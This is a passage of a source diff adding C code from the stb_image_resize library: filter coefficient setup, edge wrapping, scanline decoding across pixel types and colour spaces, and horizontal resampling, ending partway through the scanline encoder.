+// For perf reasons this code is duplicated in stbir__resample_horizontal_upsample/downsample,
+// if you change it here change it there too.
+static float* stbir__get_coefficient(float* coefficients, stbir_filter filter, float scale, int n, int c)
+{
+    int width = stbir__get_coefficient_width(filter, scale);
+    return &coefficients[width*n + c];
+}
+
+static int stbir__edge_wrap_slow(stbir_edge edge, int n, int max)
+{
+    switch (edge)
+    {
+    case STBIR_EDGE_ZERO:
+        return 0; // we'll decode the wrong pixel here, and then overwrite with 0s later
+
+    case STBIR_EDGE_CLAMP:
+        if (n < 0)
+            return 0;
+
+        if (n >= max)
+            return max - 1;
+
+        return n; // NOTREACHED
+
+    case STBIR_EDGE_REFLECT:
+    {
+        if (n < 0)
+        {
+            if (n < max)
+                return -n;
+            else
+                return max - 1;
+        }
+
+        if (n >= max)
+        {
+            int max2 = max * 2;
+            if (n >= max2)
+                return 0;
+            else
+                return max2 - n - 1;
+        }
+
+        return n; // NOTREACHED
+    }
+
+    case STBIR_EDGE_WRAP:
+        if (n >= 0)
+            return (n % max);
+        else
+        {
+            int m = (-n) % max;
+
+            if (m != 0)
+                m = max - m;
+
+            return (m);
+        }
+        // NOTREACHED
+
+    default:
+        STBIR_ASSERT(!"Unimplemented edge type");
+        return 0;
+    }
+}
+
+stbir__inline static int stbir__edge_wrap(stbir_edge edge, int n, int max)
+{
+    // avoid per-pixel switch
+    if (n >= 0 && n < max)
+        return n;
+    return stbir__edge_wrap_slow(edge, n, max);
+}
+
+// What input pixels contribute to this output pixel?
+static void stbir__calculate_sample_range_upsample(int n, float out_filter_radius, float scale_ratio, float out_shift, int* in_first_pixel, int* in_last_pixel, float* in_center_of_out)
+{
+    float out_pixel_center = (float)n + 0.5f;
+    float out_pixel_influence_lowerbound = out_pixel_center - out_filter_radius;
+    float out_pixel_influence_upperbound = out_pixel_center + out_filter_radius;
+
+    float in_pixel_influence_lowerbound = (out_pixel_influence_lowerbound + out_shift) / scale_ratio;
+    float in_pixel_influence_upperbound = (out_pixel_influence_upperbound + out_shift) / scale_ratio;
+
+    *in_center_of_out = (out_pixel_center + out_shift) / scale_ratio;
+    *in_first_pixel = (int)(floor(in_pixel_influence_lowerbound + 0.5));
+    *in_last_pixel = (int)(floor(in_pixel_influence_upperbound - 0.5));
+}
+
+// What output pixels does this input pixel contribute to?
+static void stbir__calculate_sample_range_downsample(int n, float in_pixels_radius, float scale_ratio, float out_shift, int* out_first_pixel, int* out_last_pixel, float* out_center_of_in)
+{
+    float in_pixel_center = (float)n + 0.5f;
+    float in_pixel_influence_lowerbound = in_pixel_center - in_pixels_radius;
+    float in_pixel_influence_upperbound = in_pixel_center + in_pixels_radius;
+
+    float out_pixel_influence_lowerbound = in_pixel_influence_lowerbound * scale_ratio - out_shift;
+    float out_pixel_influence_upperbound = in_pixel_influence_upperbound * scale_ratio - out_shift;
+
+    *out_center_of_in = in_pixel_center * scale_ratio - out_shift;
+    *out_first_pixel = (int)(floor(out_pixel_influence_lowerbound + 0.5));
+    *out_last_pixel = (int)(floor(out_pixel_influence_upperbound - 0.5));
+}
+
+static void stbir__calculate_coefficients_upsample(stbir_filter filter, float scale, int in_first_pixel, int in_last_pixel, float in_center_of_out, stbir__contributors* contributor, float* coefficient_group)
+{
+    int i;
+    float total_filter = 0;
+    float filter_scale;
+
+    STBIR_ASSERT(in_last_pixel - in_first_pixel <= (int)ceil(stbir__filter_info_table[filter].support(1/scale) * 2)); // Taken directly from stbir__get_coefficient_width() which we can't call because we don't know if we're horizontal or vertical.
+
+    contributor->n0 = in_first_pixel;
+    contributor->n1 = in_last_pixel;
+
+    STBIR_ASSERT(contributor->n1 >= contributor->n0);
+
+    for (i = 0; i <= in_last_pixel - in_first_pixel; i++)
+    {
+        float in_pixel_center = (float)(i + in_first_pixel) + 0.5f;
+        coefficient_group[i] = stbir__filter_info_table[filter].kernel(in_center_of_out - in_pixel_center, 1 / scale);
+
+        // If the coefficient is zero, skip it. (Don't do the <0 check here, we want the influence of those outside pixels.)
+        if (i == 0 && !coefficient_group[i])
+        {
+            contributor->n0 = ++in_first_pixel;
+            i--;
+            continue;
+        }
+
+        total_filter += coefficient_group[i];
+    }
+
+    STBIR_ASSERT(stbir__filter_info_table[filter].kernel((float)(in_last_pixel + 1) + 0.5f - in_center_of_out, 1/scale) == 0);
+
+    STBIR_ASSERT(total_filter > 0.9);
+    STBIR_ASSERT(total_filter < 1.1f); // Make sure it's not way off.
+
+    // Make sure the sum of all coefficients is 1.
+    filter_scale = 1 / total_filter;
+
+    for (i = 0; i <= in_last_pixel - in_first_pixel; i++)
+        coefficient_group[i] *= filter_scale;
+
+    for (i = in_last_pixel - in_first_pixel; i >= 0; i--)
+    {
+        if (coefficient_group[i])
+            break;
+
+        // This line has no weight. We can skip it.
+        contributor->n1 = contributor->n0 + i - 1;
+    }
+}
+
+static void stbir__calculate_coefficients_downsample(stbir_filter filter, float scale_ratio, int out_first_pixel, int out_last_pixel, float out_center_of_in, stbir__contributors* contributor, float* coefficient_group)
+{
+    int i;
+
+     STBIR_ASSERT(out_last_pixel - out_first_pixel <= (int)ceil(stbir__filter_info_table[filter].support(scale_ratio) * 2)); // Taken directly from stbir__get_coefficient_width() which we can't call because we don't know if we're horizontal or vertical.
+
+    contributor->n0 = out_first_pixel;
+    contributor->n1 = out_last_pixel;
+
+    STBIR_ASSERT(contributor->n1 >= contributor->n0);
+
+    for (i = 0; i <= out_last_pixel - out_first_pixel; i++)
+    {
+        float out_pixel_center = (float)(i + out_first_pixel) + 0.5f;
+        float x = out_pixel_center - out_center_of_in;
+        coefficient_group[i] = stbir__filter_info_table[filter].kernel(x, scale_ratio) * scale_ratio;
+    }
+
+    STBIR_ASSERT(stbir__filter_info_table[filter].kernel((float)(out_last_pixel + 1) + 0.5f - out_center_of_in, scale_ratio) == 0);
+
+    for (i = out_last_pixel - out_first_pixel; i >= 0; i--)
+    {
+        if (coefficient_group[i])
+            break;
+
+        // This line has no weight. We can skip it.
+        contributor->n1 = contributor->n0 + i - 1;
+    }
+}
+
+static void stbir__normalize_downsample_coefficients(stbir__contributors* contributors, float* coefficients, stbir_filter filter, float scale_ratio, int input_size, int output_size)
+{
+    int num_contributors = stbir__get_contributors(scale_ratio, filter, input_size, output_size);
+    int num_coefficients = stbir__get_coefficient_width(filter, scale_ratio);
+    int i, j;
+    int skip;
+
+    for (i = 0; i < output_size; i++)
+    {
+        float scale;
+        float total = 0;
+
+        for (j = 0; j < num_contributors; j++)
+        {
+            if (i >= contributors[j].n0 && i <= contributors[j].n1)
+            {
+                float coefficient = *stbir__get_coefficient(coefficients, filter, scale_ratio, j, i - contributors[j].n0);
+                total += coefficient;
+            }
+            else if (i < contributors[j].n0)
+                break;
+        }
+
+        STBIR_ASSERT(total > 0.9f);
+        STBIR_ASSERT(total < 1.1f);
+
+        scale = 1 / total;
+
+        for (j = 0; j < num_contributors; j++)
+        {
+            if (i >= contributors[j].n0 && i <= contributors[j].n1)
+                *stbir__get_coefficient(coefficients, filter, scale_ratio, j, i - contributors[j].n0) *= scale;
+            else if (i < contributors[j].n0)
+                break;
+        }
+    }
+
+    // Optimize: Skip zero coefficients and contributions outside of image bounds.
+    // Do this after normalizing because normalization depends on the n0/n1 values.
+    for (j = 0; j < num_contributors; j++)
+    {
+        int range, max, width;
+
+        skip = 0;
+        while (*stbir__get_coefficient(coefficients, filter, scale_ratio, j, skip) == 0)
+            skip++;
+
+        contributors[j].n0 += skip;
+
+        while (contributors[j].n0 < 0)
+        {
+            contributors[j].n0++;
+            skip++;
+        }
+
+        range = contributors[j].n1 - contributors[j].n0 + 1;
+        max = stbir__min(num_coefficients, range);
+
+        width = stbir__get_coefficient_width(filter, scale_ratio);
+        for (i = 0; i < max; i++)
+        {
+            if (i + skip >= width)
+                break;
+
+            *stbir__get_coefficient(coefficients, filter, scale_ratio, j, i) = *stbir__get_coefficient(coefficients, filter, scale_ratio, j, i + skip);
+        }
+
+        continue;
+    }
+
+    // Using min to avoid writing into invalid pixels.
+    for (i = 0; i < num_contributors; i++)
+        contributors[i].n1 = stbir__min(contributors[i].n1, output_size - 1);
+}
+
+// Each scan line uses the same kernel values so we should calculate the kernel
+// values once and then we can use them for every scan line.
+static void stbir__calculate_filters(stbir__contributors* contributors, float* coefficients, stbir_filter filter, float scale_ratio, float shift, int input_size, int output_size)
+{
+    int n;
+    int total_contributors = stbir__get_contributors(scale_ratio, filter, input_size, output_size);
+
+    if (stbir__use_upsampling(scale_ratio))
+    {
+        float out_pixels_radius = stbir__filter_info_table[filter].support(1 / scale_ratio) * scale_ratio;
+
+        // Looping through out pixels
+        for (n = 0; n < total_contributors; n++)
+        {
+            float in_center_of_out; // Center of the current out pixel in the in pixel space
+            int in_first_pixel, in_last_pixel;
+
+            stbir__calculate_sample_range_upsample(n, out_pixels_radius, scale_ratio, shift, &in_first_pixel, &in_last_pixel, &in_center_of_out);
+
+            stbir__calculate_coefficients_upsample(filter, scale_ratio, in_first_pixel, in_last_pixel, in_center_of_out, stbir__get_contributor(contributors, n), stbir__get_coefficient(coefficients, filter, scale_ratio, n, 0));
+        }
+    }
+    else
+    {
+        float in_pixels_radius = stbir__filter_info_table[filter].support(scale_ratio) / scale_ratio;
+
+        // Looping through in pixels
+        for (n = 0; n < total_contributors; n++)
+        {
+            float out_center_of_in; // Center of the current out pixel in the in pixel space
+            int out_first_pixel, out_last_pixel;
+            int n_adjusted = n - stbir__get_filter_pixel_margin(filter, scale_ratio);
+
+            stbir__calculate_sample_range_downsample(n_adjusted, in_pixels_radius, scale_ratio, shift, &out_first_pixel, &out_last_pixel, &out_center_of_in);
+
+            stbir__calculate_coefficients_downsample(filter, scale_ratio, out_first_pixel, out_last_pixel, out_center_of_in, stbir__get_contributor(contributors, n), stbir__get_coefficient(coefficients, filter, scale_ratio, n, 0));
+        }
+
+        stbir__normalize_downsample_coefficients(contributors, coefficients, filter, scale_ratio, input_size, output_size);
+    }
+}
+
+static float* stbir__get_decode_buffer(stbir__info* stbir_info)
+{
+    // The 0 index of the decode buffer starts after the margin. This makes
+    // it okay to use negative indexes on the decode buffer.
+    return &stbir_info->decode_buffer[stbir_info->horizontal_filter_pixel_margin * stbir_info->channels];
+}
+
+#define STBIR__DECODE(type, colorspace) ((type) * (STBIR_MAX_COLORSPACES) + (colorspace))
+
+static void stbir__decode_scanline(stbir__info* stbir_info, int n)
+{
+    int c;
+    int channels = stbir_info->channels;
+    int alpha_channel = stbir_info->alpha_channel;
+    int type = stbir_info->type;
+    int colorspace = stbir_info->colorspace;
+    int input_w = stbir_info->input_w;
+    size_t input_stride_bytes = stbir_info->input_stride_bytes;
+    float* decode_buffer = stbir__get_decode_buffer(stbir_info);
+    stbir_edge edge_horizontal = stbir_info->edge_horizontal;
+    stbir_edge edge_vertical = stbir_info->edge_vertical;
+    size_t in_buffer_row_offset = stbir__edge_wrap(edge_vertical, n, stbir_info->input_h) * input_stride_bytes;
+    const void* input_data = (char *) stbir_info->input_data + in_buffer_row_offset;
+    int max_x = input_w + stbir_info->horizontal_filter_pixel_margin;
+    int decode = STBIR__DECODE(type, colorspace);
+
+    int x = -stbir_info->horizontal_filter_pixel_margin;
+
+    // special handling for STBIR_EDGE_ZERO because it needs to return an item that doesn't appear in the input,
+    // and we want to avoid paying overhead on every pixel if not STBIR_EDGE_ZERO
+    if (edge_vertical == STBIR_EDGE_ZERO && (n < 0 || n >= stbir_info->input_h))
+    {
+        for (; x < max_x; x++)
+            for (c = 0; c < channels; c++)
+                decode_buffer[x*channels + c] = 0;
+        return;
+    }
+
+    switch (decode)
+    {
+    case STBIR__DECODE(STBIR_TYPE_UINT8, STBIR_COLORSPACE_LINEAR):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = ((float)((const unsigned char*)input_data)[input_pixel_index + c]) / stbir__max_uint8_as_float;
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT8, STBIR_COLORSPACE_SRGB):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = stbir__srgb_uchar_to_linear_float[((const unsigned char*)input_data)[input_pixel_index + c]];
+
+            if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                decode_buffer[decode_pixel_index + alpha_channel] = ((float)((const unsigned char*)input_data)[input_pixel_index + alpha_channel]) / stbir__max_uint8_as_float;
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT16, STBIR_COLORSPACE_LINEAR):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = ((float)((const unsigned short*)input_data)[input_pixel_index + c]) / stbir__max_uint16_as_float;
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT16, STBIR_COLORSPACE_SRGB):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = stbir__srgb_to_linear(((float)((const unsigned short*)input_data)[input_pixel_index + c]) / stbir__max_uint16_as_float);
+
+            if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                decode_buffer[decode_pixel_index + alpha_channel] = ((float)((const unsigned short*)input_data)[input_pixel_index + alpha_channel]) / stbir__max_uint16_as_float;
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT32, STBIR_COLORSPACE_LINEAR):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = (float)(((double)((const unsigned int*)input_data)[input_pixel_index + c]) / stbir__max_uint32_as_float);
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT32, STBIR_COLORSPACE_SRGB):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = stbir__srgb_to_linear((float)(((double)((const unsigned int*)input_data)[input_pixel_index + c]) / stbir__max_uint32_as_float));
+
+            if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                decode_buffer[decode_pixel_index + alpha_channel] = (float)(((double)((const unsigned int*)input_data)[input_pixel_index + alpha_channel]) / stbir__max_uint32_as_float);
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_FLOAT, STBIR_COLORSPACE_LINEAR):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = ((const float*)input_data)[input_pixel_index + c];
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_FLOAT, STBIR_COLORSPACE_SRGB):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = stbir__srgb_to_linear(((const float*)input_data)[input_pixel_index + c]);
+
+            if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                decode_buffer[decode_pixel_index + alpha_channel] = ((const float*)input_data)[input_pixel_index + alpha_channel];
+        }
+
+        break;
+
+    default:
+        STBIR_ASSERT(!"Unknown type/colorspace/channels combination.");
+        break;
+    }
+
+    if (!(stbir_info->flags & STBIR_FLAG_ALPHA_PREMULTIPLIED))
+    {
+        for (x = -stbir_info->horizontal_filter_pixel_margin; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+
+            // If the alpha value is 0 it will clobber the color values. Make sure it's not.
+            float alpha = decode_buffer[decode_pixel_index + alpha_channel];
+#ifndef STBIR_NO_ALPHA_EPSILON
+            if (stbir_info->type != STBIR_TYPE_FLOAT) {
+                alpha += STBIR_ALPHA_EPSILON;
+                decode_buffer[decode_pixel_index + alpha_channel] = alpha;
+            }
+#endif
+            for (c = 0; c < channels; c++)
+            {
+                if (c == alpha_channel)
+                    continue;
+
+                decode_buffer[decode_pixel_index + c] *= alpha;
+            }
+        }
+    }
+
+    if (edge_horizontal == STBIR_EDGE_ZERO)
+    {
+        for (x = -stbir_info->horizontal_filter_pixel_margin; x < 0; x++)
+        {
+            for (c = 0; c < channels; c++)
+                decode_buffer[x*channels + c] = 0;
+        }
+        for (x = input_w; x < max_x; x++)
+        {
+            for (c = 0; c < channels; c++)
+                decode_buffer[x*channels + c] = 0;
+        }
+    }
+}
+
+static float* stbir__get_ring_buffer_entry(float* ring_buffer, int index, int ring_buffer_length)
+{
+    return &ring_buffer[index * ring_buffer_length];
+}
+
+static float* stbir__add_empty_ring_buffer_entry(stbir__info* stbir_info, int n)
+{
+    int ring_buffer_index;
+    float* ring_buffer;
+
+    stbir_info->ring_buffer_last_scanline = n;
+
+    if (stbir_info->ring_buffer_begin_index < 0)
+    {
+        ring_buffer_index = stbir_info->ring_buffer_begin_index = 0;
+        stbir_info->ring_buffer_first_scanline = n;
+    }
+    else
+    {
+        ring_buffer_index = (stbir_info->ring_buffer_begin_index + (stbir_info->ring_buffer_last_scanline - stbir_info->ring_buffer_first_scanline)) % stbir_info->ring_buffer_num_entries;
+        STBIR_ASSERT(ring_buffer_index != stbir_info->ring_buffer_begin_index);
+    }
+
+    ring_buffer = stbir__get_ring_buffer_entry(stbir_info->ring_buffer, ring_buffer_index, stbir_info->ring_buffer_length_bytes / sizeof(float));
+    memset(ring_buffer, 0, stbir_info->ring_buffer_length_bytes);
+
+    return ring_buffer;
+}
+
+
+static void stbir__resample_horizontal_upsample(stbir__info* stbir_info, float* output_buffer)
+{
+    int x, k;
+    int output_w = stbir_info->output_w;
+    int channels = stbir_info->channels;
+    float* decode_buffer = stbir__get_decode_buffer(stbir_info);
+    stbir__contributors* horizontal_contributors = stbir_info->horizontal_contributors;
+    float* horizontal_coefficients = stbir_info->horizontal_coefficients;
+    int coefficient_width = stbir_info->horizontal_coefficient_width;
+
+    for (x = 0; x < output_w; x++)
+    {
+        int n0 = horizontal_contributors[x].n0;
+        int n1 = horizontal_contributors[x].n1;
+
+        int out_pixel_index = x * channels;
+        int coefficient_group = coefficient_width * x;
+        int coefficient_counter = 0;
+
+        STBIR_ASSERT(n1 >= n0);
+        STBIR_ASSERT(n0 >= -stbir_info->horizontal_filter_pixel_margin);
+        STBIR_ASSERT(n1 >= -stbir_info->horizontal_filter_pixel_margin);
+        STBIR_ASSERT(n0 < stbir_info->input_w + stbir_info->horizontal_filter_pixel_margin);
+        STBIR_ASSERT(n1 < stbir_info->input_w + stbir_info->horizontal_filter_pixel_margin);
+
+        switch (channels) {
+            case 1:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * 1;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                }
+                break;
+            case 2:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * 2;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                }
+                break;
+            case 3:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * 3;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                    output_buffer[out_pixel_index + 2] += decode_buffer[in_pixel_index + 2] * coefficient;
+                }
+                break;
+            case 4:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * 4;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                    output_buffer[out_pixel_index + 2] += decode_buffer[in_pixel_index + 2] * coefficient;
+                    output_buffer[out_pixel_index + 3] += decode_buffer[in_pixel_index + 3] * coefficient;
+                }
+                break;
+            default:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * channels;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    int c;
+                    STBIR_ASSERT(coefficient != 0);
+                    for (c = 0; c < channels; c++)
+                        output_buffer[out_pixel_index + c] += decode_buffer[in_pixel_index + c] * coefficient;
+                }
+                break;
+        }
+    }
+}
+
+static void stbir__resample_horizontal_downsample(stbir__info* stbir_info, float* output_buffer)
+{
+    int x, k;
+    int input_w = stbir_info->input_w;
+    int channels = stbir_info->channels;
+    float* decode_buffer = stbir__get_decode_buffer(stbir_info);
+    stbir__contributors* horizontal_contributors = stbir_info->horizontal_contributors;
+    float* horizontal_coefficients = stbir_info->horizontal_coefficients;
+    int coefficient_width = stbir_info->horizontal_coefficient_width;
+    int filter_pixel_margin = stbir_info->horizontal_filter_pixel_margin;
+    int max_x = input_w + filter_pixel_margin * 2;
+
+    STBIR_ASSERT(!stbir__use_width_upsampling(stbir_info));
+
+    switch (channels) {
+        case 1:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * 1;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int out_pixel_index = k * 1;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                }
+            }
+            break;
+
+        case 2:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * 2;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int out_pixel_index = k * 2;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                }
+            }
+            break;
+
+        case 3:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * 3;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int out_pixel_index = k * 3;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                    output_buffer[out_pixel_index + 2] += decode_buffer[in_pixel_index + 2] * coefficient;
+                }
+            }
+            break;
+
+        case 4:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * 4;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int out_pixel_index = k * 4;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                    output_buffer[out_pixel_index + 2] += decode_buffer[in_pixel_index + 2] * coefficient;
+                    output_buffer[out_pixel_index + 3] += decode_buffer[in_pixel_index + 3] * coefficient;
+                }
+            }
+            break;
+
+        default:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * channels;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int c;
+                    int out_pixel_index = k * channels;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    for (c = 0; c < channels; c++)
+                        output_buffer[out_pixel_index + c] += decode_buffer[in_pixel_index + c] * coefficient;
+                }
+            }
+            break;
+    }
+}
+
+static void stbir__decode_and_resample_upsample(stbir__info* stbir_info, int n)
+{
+    // Decode the nth scanline from the source image into the decode buffer.
+    stbir__decode_scanline(stbir_info, n);
+
+    // Now resample it into the ring buffer.
+    if (stbir__use_width_upsampling(stbir_info))
+        stbir__resample_horizontal_upsample(stbir_info, stbir__add_empty_ring_buffer_entry(stbir_info, n));
+    else
+        stbir__resample_horizontal_downsample(stbir_info, stbir__add_empty_ring_buffer_entry(stbir_info, n));
+
+    // Now it's sitting in the ring buffer ready to be used as source for the vertical sampling.
+}
+
+static void stbir__decode_and_resample_downsample(stbir__info* stbir_info, int n)
+{
+    // Decode the nth scanline from the source image into the decode buffer.
+    stbir__decode_scanline(stbir_info, n);
+
+    memset(stbir_info->horizontal_buffer, 0, stbir_info->output_w * stbir_info->channels * sizeof(float));
+
+    // Now resample it into the horizontal buffer.
+    if (stbir__use_width_upsampling(stbir_info))
+        stbir__resample_horizontal_upsample(stbir_info, stbir_info->horizontal_buffer);
+    else
+        stbir__resample_horizontal_downsample(stbir_info, stbir_info->horizontal_buffer);
+
+    // Now it's sitting in the horizontal buffer ready to be distributed into the ring buffers.
+}
+
+// Get the specified scan line from the ring buffer.
+static float* stbir__get_ring_buffer_scanline(int get_scanline, float* ring_buffer, int begin_index, int first_scanline, int ring_buffer_num_entries, int ring_buffer_length)
+{
+    int ring_buffer_index = (begin_index + (get_scanline - first_scanline)) % ring_buffer_num_entries;
+    return stbir__get_ring_buffer_entry(ring_buffer, ring_buffer_index, ring_buffer_length);
+}
+
+
+static void stbir__encode_scanline(stbir__info* stbir_info, int num_pixels, void *output_buffer, float *encode_buffer, int channels, int alpha_channel, int decode)
+{
+    int x;
+    int n;
+    int num_nonalpha;
+    stbir_uint16 nonalpha[STBIR_MAX_CHANNELS];
+
+    if (!(stbir_info->flags&STBIR_FLAG_ALPHA_PREMULTIPLIED))
+    {
+        for (x=0; x < num_pixels; ++x)
+        {
+            int pixel_index = x*channels;
+
+            float alpha = encode_buffer[pixel_index + alpha_channel];
+            float reciprocal_alpha = alpha ? 1.0f / alpha : 0;
+
+            // unrolling this produced a 1% slowdown upscaling a large RGBA linear-space image on my machine - stb
+            for (n = 0; n < channels; n++)
+                if (n != alpha_channel)
+                    encode_buffer[pixel_index + n] *= reciprocal_alpha;
+
+            // We added in a small epsilon to prevent the color channel from being deleted with zero alpha.
+            // Because we only add it for integer types, it will automatically be discarded on integer
+            // conversion, so we don't need to subtract it back out (which would be problematic for
+            // numeric precision reasons).
+        }
+    }
+
+    // build a table of all channels that need colorspace correction, so
+    // we don't perform colorspace correction on channels that don't need it.
+    for (x = 0, num_nonalpha = 0; x < channels; ++x)
+    {
+        if (x != alpha_channel || (stbir_info->flags & STBIR_FLAG_ALPHA_USES_COLORSPACE))
+        {
+            nonalpha[num_nonalpha++] = (stbir_uint16)x;
+        }
+    }
+
+    #define STBIR__ROUND_INT(f)    ((int)          ((f)+0.5))
+    #define STBIR__ROUND_UINT(f)   ((stbir_uint32) ((f)+0.5))
+
+    #ifdef STBIR__SATURATE_INT
+    #define STBIR__ENCODE_LINEAR8(f)   stbir__saturate8 (STBIR__ROUND_INT((f) * stbir__max_uint8_as_float ))
+    #define STBIR__ENCODE_LINEAR16(f)  stbir__saturate16(STBIR__ROUND_INT((f) * stbir__max_uint16_as_float))
+    #else
+    #define STBIR__ENCODE_LINEAR8(f)   (unsigned char ) STBIR__ROUND_INT(stbir__saturate(f) * stbir__max_uint8_as_float )
+    #define STBIR__ENCODE_LINEAR16(f)  (unsigned short) STBIR__ROUND_INT(stbir__saturate(f) * stbir__max_uint16_as_float)
+    #endif
+
+    switch (decode)
+    {
+        case STBIR__DECODE(STBIR_TYPE_UINT8, STBIR_COLORSPACE_LINEAR):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
